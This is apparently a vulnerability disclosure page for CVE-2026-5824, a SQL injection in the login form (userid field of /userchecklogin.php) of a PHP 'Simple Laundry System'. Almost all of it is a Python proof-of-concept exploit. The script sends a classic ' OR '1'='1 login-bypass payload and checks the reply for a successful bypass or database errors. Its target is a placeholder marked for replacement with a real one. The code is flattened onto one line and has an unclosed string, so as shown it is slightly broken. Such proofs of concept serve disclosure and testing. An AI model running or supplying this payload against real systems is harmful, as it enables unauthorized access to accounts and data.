CVE-2026-5824 Simple Laundry System SQL注入漏洞

import requests def exploit_sqli(target_url): """ PoC for CVE-2026-5824 Simple Laundry System SQL Injection Target parameter: userid in /userchecklogin.php """ # The vulnerable endpoint url = f"{target_url}/userchecklogin.php" # Malicious payload to test SQL Injection # Example: ' OR '1'='1 to bypass login or trigger a condition payload_data = { "userid": "' OR '1'='1", "password": "any" } try: response = requests.post(url, data=payload_data, timeout=10) # Check if the response indicates a successful login or SQL error if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response length: {len(response.text)}") # Analyze response content to verify exploitation (heuristic) if "Login Successful" in response.text or "Welcome" in response.text: print("[!] Potential SQL Injection successful! Login bypassed.") elif "syntax error" in response.text or "mysql_fetch" in response.text: print("[!] SQL Error detected via response, vulnerability likely.") else: print("[*] Could not confirm exploitation automatically. Check response manually.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e} if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target print(f"Testing CVE-2026-5824 on {target}...") exploit_sqli(target)